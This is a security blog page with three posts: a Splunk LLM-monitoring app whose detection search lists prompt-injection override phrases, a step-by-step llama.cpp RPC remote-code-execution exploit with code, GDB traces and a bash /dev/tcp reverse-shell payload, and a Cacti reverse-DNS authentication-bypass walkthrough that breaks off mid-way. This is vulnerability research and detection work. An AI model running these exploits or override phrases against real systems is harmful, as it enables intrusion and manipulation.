pwntricks-Blog

Llmmon Monitor Any Ai Agent Using Splunk

Fri, 12 Jun 2026 00:00:00 +0000

LLMmon

By Hassan Alkhafaji and Rakan Adnan · June 2026

Every organization has a security stack built around visibility: firewalls, proxies, SIEM, EDR. You know what’s crossing your network. You know what files are being opened. But the moment someone makes a call to an LLM API, that visibility disappears completely. The prompt leaves. The response arrives. Nobody logged it. Nobody reviewed it. It just… happened. that gap started keeping us up at night. So we closed it! with this Splunk app we made called LLMmon.

Introducing LLMmon

No Code Changes, No Agent changes, Simple setup to monitor any AI Agent that you have.

https://splunkbase.splunk.com/app/8821

We built LLMmon as a Splunk app that sits between your LLM clients and your LLM providers. Every request and response passes through it. Everything gets logged into a Splunk index.

The concept is simple: instead of pointing your OpenAI SDK at https://api.openai.com/v1, you point it at http://your-splunk-host:9000/v1. LLMmon receives the request, logs it, forwards it upstream, logs the response, and returns it to the caller.

How It Works: Route Configuration

The first thing you set up is a route essentially a forwarding rule that tells LLMmon where to send traffic and with which credentials.

You click Configure Routes and you’re taken to the LLMmon route manager then add Add Route.

Each route has:

A name (just a label for your reference)
A provider (OpenAI, Anthropic, OpenRouter, or Custom)
An upstream URL (where to actually send the request)
An API key (stored in Splunk, never exposed to clients)
A route condition — either a catch-all default, or a header match for multi-provider routing

Say you want one team’s traffic going to OpenAI and another team’s traffic going to a local model. You just tell each client to include a specific header (like X-Route-To: openai), define the matching rule in LLMmon, and the gateway handles the rest.

Before traffic starts flowing, you need to tell the gateway which Splunk account to use for writing logs.

Open Gateway Settings from the app navigation, enter your Splunk username and password, and click Save Credentials.

Splunk’s secret store — never in the app code.

Testing It With n8n

To actually validate the whole thing end-to-end, we connected n8n to LLMmon. n8n has an OpenAI Chat Model node that takes a base URL so we just pointed it at our gateway instead of OpenAI directly.

The connection test passed immediately. As far as n8n is concerned, it’s talking to a standard OpenAI-compatible API. We then sent a test message through the n8n chat interface:

A classic. But what matters here is what happened behind the scenes.

What Splunk Actually Captured

We opened Splunk and searched index="llmmon_logs".

Two events. One for the request, one for the response. Let’s look at them.

The request event (event_type: llm_request) captured:

The full request body, including the system prompt and the user message (“hi tell me a joke”)
The model being requested
The HTTP method and path
A unique request ID

The response event (event_type: llm_response) captured:

The full response body, including the joke text
Token counts (75 prompt tokens, 16 completion tokens, 91 total)
Response latency (7.961 seconds)
The provider and model that actually handled the request

Everything you’d need for a security investigation sitting right there in Splunk, queryable with SPL, available to your existing alerts and correlation searches.

What This Unlocks for Security Teams

Once the data is in Splunk, your SOC can work with it like any other data source.

You can build Splunk alerts. You can create correlation searches. You can tie this into your existing SIEM workflows. The data is there the hard part is done.

Example: Catching Base64 in Prompts

Let’s make this concrete. One real attack pattern is users pasting base64-encoded strings into an LLM chat and asking it to decode them a way to smuggle obfuscated content past keyword filters. We tested this exactly.

We sent the message decode this U2VjcmV0MTIzdGVzdA== and other testing inputs through the n8n chat. The model decoded it and handed back the plaintext.

Now here’s where LLMmon earns its keep. Because every request is sitting in llmmon_logs, we can write a SPL search that scans all user messages for base64 patterns:

spl

index="llmmon_logs" event_type="llm_request"
| rex field=request_body "\"role\\\":\\\"user\\\",\\\"content\\\":\\\"(?P<message>[^\\\"]+)\\\""
| rex field=message "(?P<base64_match>[A-Za-z0-9+/]{8,}={0,2})"
| where isnotnull(base64_match)
| table _time request_id model message base64_match

Every single request where a user fed a base64 string to the model timestamped, tied to a request ID, showing exactly what was sent. Turn this into a Splunk alert and your SOC gets notified in real time whenever it happens.

This is just one example. The same pattern applies to prompts containing IP addresses or internal hostnames, unusually long inputs that look like document dumps, messages matching known sensitive keywords. The data model is the same for all of them write the SPL, set the alert threshold, done.

Example: Detecting Prompt Injection Attempts

Prompt injection is one of the most well-known LLM attack techniques — and one of the easiest to attempt. The idea is simple: craft a message that tries to override the model’s original instructions and make it behave in a way it wasn’t supposed to.

We tested this by sending the following message through the n8n chat:

The model responded. It didn’t matter that there was a system prompt telling it to behave the user message overrode it. That exchange is now sitting in llmmon_logs, and we can write a rule to catch it.

index="llmmon_logs" event_type="llm_request"
| rex field=request_body "\"role\\\":\\\"user\\\",\\\"content\\\":\\\"(?P<message>[^\\\"]+)\\\""
| where isnotnull(message)
| eval injection_detected=if(
    match(lower(message), "ignore previous instructions") OR
    match(lower(message), "ignore all instructions") OR
    match(lower(message), "you are now in") OR
    match(lower(message), "jailbreak") OR
    match(lower(message), "developer mode") OR
    match(lower(message), "DAN mode") OR
    match(lower(message), "reveal your system prompt") OR
    match(lower(message), "act as if you have no restrictions"),
    "YES", null())
| where isnotnull(injection_detected)
| table _time request_id model message injection_detected

Current State and What’s Next

Here’s where things stand right now:

Intercepts all LLM API calls — acts as a fully transparent proxy
Token counting and usage tracking — per model, per month
Full audit log — requests and responses in a single Splunk index
Flexible routing — forward traffic based on request headers, IP, or catch-all

Installation

If you want to try this yourself:

Download and install the LLMmon app from Splunkbase
make sure port 9000 is opened on splunk server
Restart Splunk when prompted
Navigate to LLMmon Gateway from the app launcher
Go to Routes and click Configure Routes
Add a route with your upstream LLM provider URL and API key and all needed configurations
Point your LLM clients at http://<splunk-host>:9000/v1

That’s it. No code changes in your applications. The gateway handles everything. and log everything you need.

Conclusion

The lack of visibility into LLM traffic is a real gap, and it’s only getting bigger as AI gets wired into more workflows. LLMmon is our attempt to close that gap in a way that fits naturally into the security tooling most enterprises already have.

If your organization is running Splunk and you’re starting to use LLMs at scale, this gives you a foundation to actually understand what’s happening before you have to explain it to someone else.

The app is available on Splunkbase. Give it a try and let us know what you think. https://splunkbase.splunk.com/app/8821

Zeroclick Rce Cve 2026 34159 Llama.cpp

Fri, 24 Apr 2026 00:00:00 +0000

CVE-2026-34159: Exploiting llama.cpp’s RPC Server - From Null Buffer to RCE Against PIE + Full RELRO + NX

Author: @casp3r0x0x (Hassan Ali) Tested on: b8487 Date: April 2026 CVE: CVE-2026-34159 CVSS: 9.8 (Critical) Affected: llama.cpp b8487 and earlier Fixed: PR #20908, regression fix #21030

The vulnerability was discovered and fixed by the llama.cpp maintainers. I wrote this exploit independently as a 1-day exercise after the patch was published. At the time of writing, no public exploit existed for CVE-2026-34159.

Exploit in Action :

The Story

I didn’t discover this vulnerability. It was reported and fixed by the llama.cpp maintainers in PR #20908 (merged March 23, 2026). But when I read the patch, I realized the implications went far beyond what a brief commit message could convey – and no public exploit had been published. So I wrote one.

The vulnerability is a one-line logic bug in the RPC server’s tensor deserialization pipeline. By setting a single field – the buffer handle – to zero, an attacker bypasses all memory bounds checking while still injecting an arbitrary data pointer into the server process. That single oversight gives arbitrary read/write primitives across the entire address space, and from there, full Remote Code Execution.

This is a 1-day exploit. The bug was already patched when I started, but the exploitation technique and the bypass are worth walking through in detail – both because it demonstrates how to chain a logic bug into full RCE against a binary protected by PIE, Full RELRO, and NX, and because it highlights a class of vulnerability that persists in many C/C++ codebases.

Understanding the Target

The RPC Architecture

llama.cpp supports distributed LLM inference by splitting tensor computation across machines via an RPC layer. The architecture is simple:

┌─────────────────────────────────────────┐
│           Client (llama-server)         │
│                                         │
│   Serializes compute graph             │
│   Packs tensors into rpc_tensor structs │
│   Sends over TCP                       │
│   Waits for result                    │
└────────────────┬────────────────────────┘
                 │ TCP (default port 50052)
                 │ Raw binary, no TLS, no auth
                 ▼
┌─────────────────────────────────────────┐
│           RPC Server (victim)           │
│                                         │
│   Receives rpc_tensor structs           │
│   deserialize_tensor() -- BUG HERE      │
│   Skips bounds check when buffer=0     │
│   Reconstructs compute graph           │
│   ggml_backend_graph_compute()         │
│   Executes attacker-controlled ops      │
└─────────────────────────────────────────┘

The wire protocol is raw binary – 1 byte command, 8 byte length prefix, then the payload. No protobuf, no JSON, no versioning. The server listens on TCP port 50052 by default, with zero authentication, zero TLS, and zero rate limiting.

The Vulnerable Struct

The core data structure transmitted over the wire is rpc_tensor:

// ggml/src/ggml-rpc/ggml-rpc.cpp:71
#pragma pack(push, 1)
struct rpc_tensor {
    uint64_t id;                                       //  8 bytes
    uint32_t type;                                     //  4 bytes
    uint64_t buffer;                                   //  8 bytes -- buffer handle
    uint32_t ne[GGML_MAX_DIMS];                        // 16 bytes -- dimensions
    uint32_t nb[GGML_MAX_DIMS];                        // 16 bytes -- byte strides
    uint32_t op;                                       //  4 bytes
    int32_t  op_params[GGML_MAX_OP_PARAMS/sizeof(int32_t)]; // 64 bytes
    int32_t  flags;                                    //  4 bytes
    uint64_t src[GGML_MAX_SRC];                        // 80 bytes -- source tensor IDs
    uint64_t view_src;                                 //  8 bytes
    uint64_t view_offs;                                //  8 bytes
    uint64_t data;                                     //  8 bytes -- DATA POINTER
    char     name[GGML_MAX_NAME];                      // 64 bytes
    char     padding[4];                               //  4 bytes
};                                                      // 296 bytes total
#pragma pack(pop)

Two fields matter: buffer (a handle the server looks up in its internal set) and data (a raw virtual address assigned to the tensor).

The Bug

Here’s deserialize_tensor() – the function that processes every incoming tensor:

// ggml/src/ggml-rpc/ggml-rpc.cpp:1158
ggml_tensor * rpc_server::deserialize_tensor(struct ggml_context * ctx,
                                              const rpc_tensor * tensor) {
    // [1] Type validation
    if (tensor->type >= GGML_TYPE_COUNT) { return nullptr; }
    if (ggml_blck_size((enum ggml_type)tensor->type) == 0) { return nullptr; }

    // [2] Allocate tensor metadata
    ggml_tensor * result = ggml_new_tensor_4d(ctx, (ggml_type) tensor->type,
        tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]);
    if (result == nullptr) { return nullptr; }

    for (uint32_t i = 0; i < GGML_MAX_DIMS; i++) {
        result->nb[i] = tensor->nb[i];
    }

    // [3] Buffer resolution
    result->buffer = reinterpret_cast<ggml_backend_buffer_t>(tensor->buffer);
    if (result->buffer && buffers.find(result->buffer) == buffers.end()) {
        result->buffer = nullptr;
    }

    // [4] BOUNDS CHECK -- ONLY RUNS WHEN result->buffer IS NOT NULL
    if (result->buffer) {
        uint64_t tensor_size  = (uint64_t) ggml_nbytes(result);
        uint64_t buffer_start = (uint64_t) ggml_backend_buffer_get_base(result->buffer);
        uint64_t buffer_size  = (uint64_t) ggml_backend_buffer_get_size(result->buffer);
        GGML_ASSERT(tensor->data + tensor_size >= tensor->data);
        GGML_ASSERT(tensor->data >= buffer_start &&
                    tensor->data + tensor_size <= buffer_start + buffer_size);
    }
    // ^^^^ ENTIRE BLOCK SKIPPED when buffer == 0

    // [5] Data pointer assigned UNCONDITIONALLY
    result->op = (ggml_op) tensor->op;
    result->flags = tensor->flags;
    result->data  = reinterpret_cast<void *>(tensor->data);  // <-- ARBITRARY ADDRESS
    ggml_set_name(result, tensor->name);
    return result;  // Non-null -- enters the compute graph
}

The bounds check at step [4] is conditional on result->buffer != nullptr, but the data pointer assignment at step [5] is unconditional. Set buffer = 0, and you skip all validation while still controlling where ggml reads and writes. One missing condition.

The Security Landscape

Before diving into the exploit, let’s map the defenses. I ran the standard analysis against the compiled rpc-server binary:

root@casp3r-virtual-machine:/home/casp3r/research2/compiled# checksec rpc-server 
[*] '/home/casp3r/research2/compiled/rpc-server'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN'
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

also :

$ file compiled/rpc-server
rpc-server: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux),
            dynamically linked, not stripped

PIE: Randomizes the binary’s base address on every execution. Hardcoded addresses won’t work.

$ readelf -d rpc-server | grep FLAGS
 0x000000000000001e (FLAGS)              BIND_NOW
 0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE

Full RELRO: The GOT is resolved at load time and marked read-only. Can’t overwrite GOT entries.

$ readelf -l rpc-server | grep -A1 GNU_STACK
  GNU_STACK      ...  RW  0x10

NX: The stack is non-executable. No shellcode.

PIE + Full RELRO + NX. The modern security mitigations. No shellcode injection, no GOT overwrite, no hardcoded return addresses. The exploit has to find another way.

The Attack Surface: ggml_backend_buffer_t

With Full RELRO blocking GOT overwrites and NX blocking shellcode, I needed a different approach. The key insight: the ggml_backend_buffer_t struct is a heap-allocated object containing function pointers in plain, writable memory. Full RELRO protects .got.plt, but it does nothing to protect heap objects.

// ggml/src/ggml-backend-impl.h:41
struct ggml_backend_buffer_i {
    void         (*free_buffer)  (ggml_backend_buffer_t buffer);  // +0x00
    void *       (*get_base)     (ggml_backend_buffer_t buffer);  // +0x08
    enum ggml_status (*init_tensor)(...);                         // +0x10
    void         (*memset_tensor)(...);                            // +0x18
    void         (*set_tensor)   (...);                            // +0x20
    void         (*get_tensor)   (...);                            // +0x28
    bool         (*cpy_tensor)   (...);                            // +0x30
    void         (*clear)        (...);                            // +0x38
    void         (*reset)        (...);                            // +0x40
};

struct ggml_backend_buffer {
    struct ggml_backend_buffer_i  iface;   // +0x00  (72 bytes of function pointers)
    ggml_backend_buffer_type_t    buft;    // +0x48
    void * context;                         // +0x50
    size_t size;                            // +0x58
    enum ggml_backend_buffer_usage usage;   // +0x60
};

When the server calls BUFFER_CLEAR(buffer), it goes through buffer->iface.clear(buffer, value). If I overwrite iface.clear with system() from libc, the server calls system(buffer) – and since buffer is the first argument (in $rdi on x86-64), it gets interpreted as a command string.

The plan:

Allocate a staging buffer (gives us a known heap object + data region)
Leak a function pointer to find libggml-base.so (break ASLR)
Read GOT[memcpy] to leak libc
Calculate system() via Build-ID lookup
Write payload (command string + system() address) into the buffer’s data region
Overwrite the buffer’s iface struct using the arbitrary write primitive
Trigger BUFFER_CLEAR -> system(command_string)

The Exploit – Step by Step with GDB

Step 1: Allocate a Staging Buffer

The first thing the exploit does is connect to the server and allocate a buffer using the normal ALLOC_BUFFER RPC command. This is completely legitimate protocol usage – nothing malicious yet.

$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)

remote_ptr is the ggml_backend_buffer_t heap object. buffer_base is the raw memory region backing it. These change every run due to ASLR.

Let’s look at what this buffer object looks like in GDB. I attached to a running server and ran the exploit, then inspected remote_ptr:

gef➤  x/10gx 0x56cb2b78ef60
0x56cb2b78ef60: 0x00007df643fee820    ← iface.free_buffer
0x56cb2b78ef68: 0x00007df64437f820    ← iface.get_base
0x56cb2b78ef70: 0x00007df643fee940    ← iface.init_tensor
0x56cb2b78ef78: 0x0000000000000000    ← iface.memset_tensor (NULL)
0x56cb2b78ef80: 0x00007df643feee50    ← iface.set_tensor
0x56cb2b78ef88: 0x00007df643fef180    ← iface.get_tensor
0x56cb2b78ef90: 0x00007df643fee9f0    ← iface.cpy_tensor
0x56cb2b78ef98: 0x00007df643feeb80    ← iface.clear          ← THIS IS OUR TARGET
0x56cb2b78efa0: 0x0000000000000000    ← iface.reset (NULL)
0x56cb2b78efa8: 0x000056cb2b78de20    ← buft

Every pointer in the iface vtable points into libggml-base.so or libggml-rpc.so. These are the legitimate function pointers. Our goal: overwrite iface.clear at offset +0x38 with system() from libc.

Step 2: Building Arbitrary Read/Write Primitives

The exploit constructs two core primitives using the null-buffer bypass:

Arbitrary Read – via GGML_OP_CPY:

Create a source tensor with buffer=0, data=<target_addr> (bypasses bounds check)
Create a destination tensor with buffer=remote_ptr, data=buffer_base (valid buffer)
When ggml executes CPY, it reads from target_addr and writes to buffer_base
Retrieve the copied data via GET_TENSOR

Arbitrary Write – same trick reversed:

Source tensor: buffer=0, data=buffer_base (where we placed our payload)
Destination tensor: buffer=0, data=<target_addr> (bypasses bounds check)
ggml copies from buffer_base to target_addr

Both primitives go through GRAPH_COMPUTE (command 10) – the normal tensor computation path. The only difference from legitimate use: buffer=0 on the source/destination tensors, which skips bounds checking while leaving the attacker-controlled data pointer intact.

def arb_read(self, remote_ptr, buffer_base, target_addr, n_bytes):
    """Read n_bytes from target_addr using the null-buffer CPY bypass."""
    n_elems = max((n_bytes + 3) // 4, 1)
    src = self._pack_tensor(0x3001, 0,          target_addr,  GGML_OP_NONE, [],       n_elems)
    dst = self._pack_tensor(0x3002, remote_ptr, buffer_base,  GGML_OP_CPY,  [0x3001], n_elems, flags=16)
    body = struct.pack('<I', 0) + struct.pack('<I', 1) + struct.pack('<Q', 0x3002) + struct.pack('<I', 2) + src + dst
    self._send_cmd(RPC_CMD_GRAPH_COMPUTE, body)
    # Retrieve copied data via GET_TENSOR
    rt = self._pack_tensor(0x3002, remote_ptr, buffer_base, GGML_OP_NONE, [], n_elems)
    self._send_cmd(RPC_CMD_GET_TENSOR, rt + struct.pack('<Q', 0) + struct.pack('<Q', n_elems * 4))
    return self._recv_response()

The flags=16 marks the destination tensor as GGML_TENSOR_FLAG_INPUT, telling ggml this is a pre-allocated buffer that doesn’t need its own memory allocation.

Step 3: Breaking ASLR – Leaking libggml-base.so

With arbitrary read established, the first information leak target is iface.get_base at remote_ptr + 0x08:

[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820

This is a code address inside libggml-base.so. To find the library base, the exploit scans backward page-by-page (0x1000 bytes) looking for the ELF magic bytes \x7fELF:

[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)

Let’s verify this in GDB:

gef➤  info proc mappings | grep libggml-base
  0x7df644350000     0x7df6443a5000    r-xp   libggml-base.so.0.9.8
  0x7df6443a5000     0x7df6443c4000    r--p   libggml-base.so.0.9.8

Confirmed: libggml-base.so base is 0x7df644350000. Now let’s verify the leaked function pointer falls inside it:

gef➤  disas 0x00007df64437f820
   0x7df64437f820 <ggml_backend_cpu_buffer_get_base>:  push   rbp
   0x7df64437f821 <ggml_backend_cpu_buffer_get_base+1>:  mov    rbp, rsp

The leaked pointer resolves to ggml_backend_cpu_buffer_get_base – the CPU backend’s implementation of the buffer interface. Confirmed.

Step 4: Leaking libc via the GOT

With the libggml-base.so base known, I can read its GOT (Global Offset Table). Even though Full RELRO makes the GOT read-only after resolution, the entries still contain the resolved addresses – they’re just not writable. Perfect for a leak.

The GOT entry for memcpy in libggml-base.so is at a fixed file offset:

$ readelf -r compiled/libggml-base.so | grep memcpy
0000000a8598  002600000007 R_X86_64_JUMP_SLO  memcpy@GLIBC_2.14 + 0

Offset 0xa8598 from the library base:

[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880

Let’s verify in GDB. The .got.plt section starts at file offset 0xa7000, mapping to virtual address 0x7df6443a5000 + (0xa7000 - 0xa5000) = 0x7df6443a7000. The memcpy GOT entry is at:

gef➤  x/1gx 0x7df6443a5000 + (0xa8598 - 0xa5000)
0x7df6443ae598: 0x00007df643da0880

This points into libc. Let’s confirm:

gef➤  info proc mappings | grep libc
  0x7df643c00000     0x7df643c00000    r--p   libc.so.6
  0x7df643c1f000     0x7df643dbf000    r-xp   libc.so.6

Wait – let me check that more carefully:

gef➤  disas 0x00007df643da0880
   0x7df643da0880 <__memmove_avx_unaligned_erms>:  endbr64

This is __memmove_avx_unaligned_erms – the IFUNC-resolved implementation of memcpy for this CPU. The offset from libc base:

0x7df643da0880 - 0x7df643c00000 = 0x1a0880

Confirmed against the local libc:

$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep __memmove_avx_unaligned_erms
00000000001a0880 l     F .text  00000000000006de  __memmove_avx_unaligned_erms

Offset 0x1a0880 matches exactly.

Step 4b: Finding the libc Base

The exploit scans backward from the memcpy address for ELF magic:

[Step 4b] Scanning backward from memcpy -> libc base
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)

Verification in GDB:

gef➤  x/1wx 0x7df643c00000
0x7df643c00000: 0x464c457f    ← b'\x7fELF' in little-endian

Confirmed.

Step 4c: Automatically Resolving system() via Build-ID

Here’s where the exploit gets portable. Instead of hardcoding libc offsets (which would break on different systems), it reads the first 0x4000 bytes of libc from the remote server, extracts the .note.gnu.build-id, and queries libc.rip for the symbol offsets:

[Step 4c] Leaking libc Build-ID...
    [+] Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] system() = libc_base + 0x50d70 = 0x00007df643c50d70

Let’s verify locally:

$ readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep 'Build ID'
    Build ID: 095c7ba148aeca81668091f718047078d57efddb

$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b'
0000000000050d70 g     F .text  000000000000002d  system

Build-ID matches, and system() is at offset 0x50d70. Verified.

The final computation:

system() = 0x7df643c00000 + 0x50d70 = 0x7df643c50d70

Step 5: Writing the Payload

The payload is 64 bytes laid out to overwrite the buffer’s iface struct:

Bytes  0-55:  "bash -c \"id>/tmp/pwned\"\0..."  (command string, null-padded to 56 bytes)
Bytes 56-63:  0x00007df643c50d70              (system() address in little-endian)

This payload is written to buffer_base using SET_TENSOR – the legitimate RPC command for writing tensor data into a buffer:

[Step 5] Writing payload to buffer_base
    cmd             = bash -c "id>/tmp/pwned"
    system_addr     = 0x00007df643c50d70

Verification in GDB after writing to buffer_base:

gef➤  x/20gx 0x56cb2b791880
0x56cb2b791880: 0x0000002068736162    ← "bash "
0x56cb2b791888: 0x00002d6320226362    ← "bc \""
0x56cb2b791890: 0x000000006465772f    ← "id>/"
...
0x56cb2b7918c0: 0x00007df643c50d70    ← system() at buffer_base+0x40

Step 6: Corrupting the Buffer’s iface

Now the exploit uses the arbitrary write primitive to copy those 64 bytes from buffer_base onto remote_ptr itself, overwriting the iface struct:

[Step 6] Arb-write: buffer_base -> remote_ptr (corrupt iface)
    Done - iface corrupted

After this write, the buffer struct at remote_ptr looks like:

remote_ptr + 0x00:  "bash -c \"id>/tmp/pwned\"\0..."  ← was iface.free_buffer
remote_ptr + 0x08:  more command string...               ← was iface.get_base
...
remote_ptr + 0x38:  0x00007df643c50d70                  ← was iface.clear, now system()

When the server next calls any function through this buffer’s iface, it will use the corrupted pointers. Specifically, iface.clear now points to system().

Step 7: The Trigger – GDB Catch

The final step is sending RPC_CMD_BUFFER_CLEAR with the corrupted buffer pointer. Here’s what GDB captured when I set a breakpoint at rpc_server::buffer_clear and let the exploit run:

gef➤  Breakpoint 1 at 0x7df643fee920

========== [buffer_clear] TRIGGERED -- inspecting state ==========

gef➤  info registers rdi
rdi            0x7ffdd66e3c10      (buffer pointer = corrupted remote_ptr)

gef➤  x/10gx $rdi
0x7ffdd66e3c10: 0x000056cb2b78de20    ← iface.free_buffer (corrupted)
0x7ffdd66e3c18: 0x000056cb2b78de28    ← iface.get_base (corrupted)
...
0x7ffdd66e3c48: 0x00007df643c50d70    ← iface.clear = system()

gef➤  x/s $rdi
0x7ffdd66e3c10: " \336x+\313V"

The register rsi contains the command string:

gef➤  x/s $rsi
0x7ffdd66e3bf0: "bash -c \"id>/tmp/pwned\""

Wait – let me re-examine. When ggml_backend_buffer_clear() calls buffer->iface.clear(buffer, value), the calling convention passes buffer in $rdi (first argument). So system() receives the buffer pointer itself as its argument. But the first 56 bytes of the buffer are our command string, so system() interprets the buffer address as a C string – and that string starts with "bash -c \"id>/tmp/pwned\"".

Here’s the full GDB state at the moment of the call, captured with GEF:

gef➤  registers
$rax   : 0x1
$rbx   : 0x4
$rsi   : 0x00007ffdd66e3bf0  →  "bash -c \"id>/tmp/pwned\""
$rdi   : 0x00007ffdd66e3c10  →  0x000056cb2b78de20
$rip   : 0x00007df643fee920  →  <rpc_server::buffer_clear+0> endbr64

The call chain is: rpc_server::buffer_clear() -> ggml_backend_buffer_clear() -> buffer->iface.clear(buffer, value) -> system("bash -c \"id>/tmp/pwned\"").

The Result

[+] Trigger sent!

On the server:

$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

Unauthenticated Remote Code Execution. The attacker gains the privileges of whichever user is running the RPC server.

For a full reverse shell, the payload changes to a TCP connection:

cmd = f'bash -c "bash -i>&/dev/tcp/{lhost}/{lport} 0>&1"'.encode()

And the listener catches the shell:

$ nc -lvnp 4447
listening on [any] 4447 ...
connect to [10.10.14.1] from 10.10.10.5 50052
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

Full Exploit Output

$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)

[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820

[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)

[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)

[Step 4.5] Leaking libc Build-ID and querying libc.rip...
    [+] Found Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] Fetching offsets from https://libc.rip ...
    [+] Matched libc: libc6_2.39-3ubuntu8.4_amd64
    [+] Automatically pulled system offset: 0x50d70
    [+] Final payload variables:
    libc_base     = 0x00007df643c00000
    system()      = 0x00007df643c50d70

[Step 5] Writing payload to buffer_base
    cmd = bash -c "bash -i>&/dev/tcp/10.10.14.1/4447 0>&1"

[Step 6] Corrupting iface via arb-write (buffer_base -> remote_ptr)
    Done -- iface.clear now = system()

[Step 7] Triggering BUFFER_CLEAR -> system(...)
    [!] Waiting for reverse shell on 10.10.14.1:4447 ...
    [+] Trigger command sent! Check your listener.

Bypassing Modern Security Mitigations

Mitigation	Effect	Why It Failed
ASLR (PIE)	Randomizes all library base addresses	Bypassed via information leak: read `iface.get_base` function pointer, scan for ELF magic to find library base
Full RELRO	Makes GOT read-only after load	Irrelevant – the attack targets heap-allocated function pointer structs (`ggml_backend_buffer_t.iface`), not the GOT
NX (Non-Executable Stack)	Prevents shellcode execution	Irrelevant – no shellcode is injected. Existing libc functions are redirected via function pointer corruption

The vulnerability isn’t a memory corruption bug in the traditional sense – it’s a missing validation check. No stack smashing, no heap overflow, no use-after-free. Just a missing if statement that leads to complete process compromise.

Full RELRO is a fundamental limitation here: it protects specific ELF sections (.got, .got.plt), not the entire data segment. Any C/C++ program using function pointer structs (common in callback systems, C++ virtual dispatch, and vtables) has potentially writable code targets outside the GOT. The exploit bypasses Full RELRO by targeting exactly this: a heap struct full of function pointers that was never designed to be read-only.

Technical Takeaways

Null checks matter. The entire exploit chain exists because one code path forgot to check buffer == null before using the data pointer. One missing condition.
Full RELRO is not a silver bullet. It protects the GOT, but not heap objects containing function pointers. Any C/C++ program using function pointer structs has potentially writable code targets outside the GOT.
Build-ID-based libc resolution makes exploits portable. By leaking the remote libc’s Build-ID and querying libc.rip, the exploit works against any target without requiring a local copy of the exact libc version.

References

CVE-2026-34159 – llama.cpp RPC Server Null Buffer Bypass
Fix PR #20908 – Initial fix
Fix PR #21030 – Regression fix
llama.cpp Repository – Commit b8487 (vulnerable)
libc.rip – Build-ID to symbol offset lookup

Cacti Authentication Bypass 0day Cve 2026 22802

Sat, 11 Apr 2026 00:00:00 +0000

Exploit the UnExploitable

Cacti Authentication Bypass 0Day (CVE-2026-22802)

Affected Component: remote_agent.php
Vulnerability Type: Authentication Bypass / Insecure Verification
Affected Versions: Cacti 1.2.x (Tested on 1.2.30)

Summary

Cacti is a free, open-source web-based network monitoring and data graphing tool that uses RRDtool to visualize data collected via SNMP. It is widely used by IT administrators to monitor network traffic, CPU usage, and server performance, offering robust graphing, role-based access, and automated device tracking.

The remote_agent.php file acts as an API endpoint for distributed pollers to communicate with the main Cacti server. It implements an access control mechanism intended to restrict access to authorized pollers only. However, this mechanism relies on insecure Reverse DNS resolution (gethostbyaddr), which can be manipulated by an attacker to bypass authentication and execute privileged actions.

Details

The vulnerability exists in the remote_client_authorized() function within remote_agent.php.

Vulnerable Code Logic

Distributed Polling Check: The authentication logic is only reachable if more than one poller is configured in the database (cacti_sizeof($pollers) > 1).
Insecure Hostname Resolution: The script retrieves the client’s IP address and attempts to resolve it to a hostname using gethostbyaddr().
Trust Validation: It compares this resolved hostname against the list of trusted poller hostnames stored in the database.

// remote_agent.php: Lines 146-160
$client_name = gethostbyaddr($client_addr); // [1] Insecure Reverse DNS lookup
// ...
$pollers = db_fetch_assoc('SELECT * FROM poller WHERE disabled = ""', true, $poller_db_cnn_id);

if (cacti_sizeof($pollers) > 1) {
    foreach ($pollers as $poller) {
        // [2] Comparison against trusted hostnames
        if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
            return true; // [3] Access Granted
        } elseif ($poller['hostname'] == $client_addr) {
            return true;
        }
    }
}

The Flaw

gethostbyaddr() relies on the PTR (Pointer) record of the connecting IP address. If an attacker can control the Reverse DNS records for their own IP address (common in local networks or cloud environments), they can set their PTR record to match the hostname of a legitimate poller (e.g., poller-1). Cacti will resolve the attacker’s IP to the trusted hostname and grant access.

3. Prerequisites

Distributed Polling Enabled: The target Cacti instance must have at least one additional poller configured (total pollers > 1).
Known Poller Hostname: The attacker must know the hostname of a valid poller (often predictable, e.g., localhost, cacti-poller).
PTR Record Control: The attacker must be able to set the PTR record for their IP address to match the target poller’s hostname. which is achievable by any hosting service cloud provider

PoC

Attacker IP : 50.116.46.139 ==> IP address belong to linode.com hosting provider which allow us to add PTR or RDNS easily
Target URL : http://target.com/cacti
poller hostname : casp3r-virtual-machine –> my testing machine

step 1

first attacker should own a domain and create a subdomain with name of the poller hostname for testing I own this testing domain and I will use it sar-tech.site:

so now pollerhostname.attackerdomain.com > points to –> attacker IP :
casp3r-virtual-machine.sar-tech.site points to 50.116.46.139

step 2

now setup the reverse DNS in linode.com:

check if RDNS is updated globally please note that this step can take some time:

step 3

